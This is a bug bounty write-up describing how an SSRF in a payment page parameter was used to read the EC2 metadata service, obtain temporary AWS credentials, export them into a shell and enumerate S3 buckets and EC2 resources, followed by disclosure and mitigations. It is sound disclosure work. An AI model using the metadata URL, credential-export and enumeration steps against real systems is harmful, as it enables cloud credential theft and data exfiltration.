SSRF to fetch AWS credentials with full access to multiple services
TL;DR
A seemingly-blank, unauthenticated page exposed a parameter that allowed server-side request forgery (SSRF). The endpoint base64-encoded full responses (not just images), which let us read the EC2 Instance Metadata Service (IMDS) and obtain temporary AWS credentials with broad permissions. With those credentials we enumerated hundreds of S3 buckets and queried EC2 resources.
Background
I found a path on a subdomain that looked nearly blank and had a few query parameters. Those parameters were initially vulnerable to XSS and one of them (I’ll redact the real name; here I call it urlLogo
) appeared to accept a URL and fetch it server-side.
The path looked like:
https://host/payment/?urlLogo=...
Because the page returned almost nothing, I treated this as a potential blind SSRF and began fuzzing it to understand how the server behaved when given different remote hosts and ports.
Discovery
I tested urlLogo
by giving it known-good and known-bad hosts and observing timeouts and response differences (e.g. zonduu.me
, invalid.host
, port 80 vs 555). I used Burp Suite Intruder to drive SSRF payloads and inspected responses.
When inspecting responses, I noticed an <img>
element containing a base64 payload:
<img src="data:image/png;base64,BASE64VALUE..." onerror="..."/>
Different input URLs produced different base64 blobs. That indicated the server was embedding the response of the fetched URL (or some encoding of it) into the returned HTML — not just fetching image resources.
Initially I assumed the server only fetched image endpoints, but a quick check (and a heads-up from a friend) revealed the server base64-encoded the full response body for whatever URL we provided — regardless of content-type. This made the issue a full-read SSRF.
Exploitation
We requested the EC2 metadata URL that returns IAM role credentials:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
After decoding the base64 payload returned in the page, we found credentials like:
{
"Code": "Success",
"LastUpdated": "2021-01-26T23:02:52Z",
"Type": "AWS-HMAC",
"AccessKeyId": "REDACTED",
"SecretAccessKey": "REDACTED",
"Token": "REDACTED==",
"Expiration": "2021-01-27T05:06:28Z"
}
We exported them into our shell to test:
export AWS_ACCESS_KEY_ID="REDACTED"
export AWS_SECRET_ACCESS_KEY="REDACTED"
export AWS_SESSION_TOKEN="REDACTED"
They worked.
What we could access
Using the temporary credentials we tested common AWS read/write calls. The keys allowed the following (examples):
aws s3 ls
# > listed 200+ internal company buckets
aws ec2 describe-instances --region eu-west-2
aws ec2 describe-security-groups --region eu-west-2
aws ec2 describe-vpcs --region eu-west-2
aws ec2 describe-images --region eu-west-2
The s3 ls
command listed over 200 internal buckets. The EC2 queries returned instance and VPC metadata. Based on additional checks, the credentials appeared to have broad privileges — potentially full access across multiple AWS services — which meant huge impact (read, delete, create, modify resources).
Impact
A full-read SSRF to the EC2 metadata service that returns working AWS credentials is a critical issue:
- Exfiltrate sensitive data from internal S3 buckets (data leakage).
- Create, delete, or modify EC2 instances and other infrastructure.
- Pivot within the cloud environment, provision new resources, or persist access.
This is one of the most severe classes of cloud issues you can find in a bug bounty program.
Disclosure & Reward
I reported the issue and it was triaged as maximum impact. A few days later the team awarded the maximum bounty plus a bonus. (I was happy with the fix and the response — the impact warranted it.)
Notes & Mitigations
If you’re a developer or reviewer, consider:
- Never fetch attacker-controlled URLs directly. Restrict allowed hosts (whitelisting) and disallow requests to internal CIDR ranges like
169.254.169.254
. - Validate and sanitize URL inputs thoroughly.
- Use network egress filtering for servers that don’t need to access internal cloud metadata.
- IMDSv2 should be enforced where possible; it reduces the risk of SSRF-based metadata leaks.
Final thoughts
This was a simple but critical bug: a small, otherwise-innocent parameter that fetched arbitrary URLs and returned the raw response back to the client (encoded). Small surface area, huge impact.
Follow me on twitter https://twitter.com/zonduu1 so you can see where I publish new write-up in my own website.
— zonduu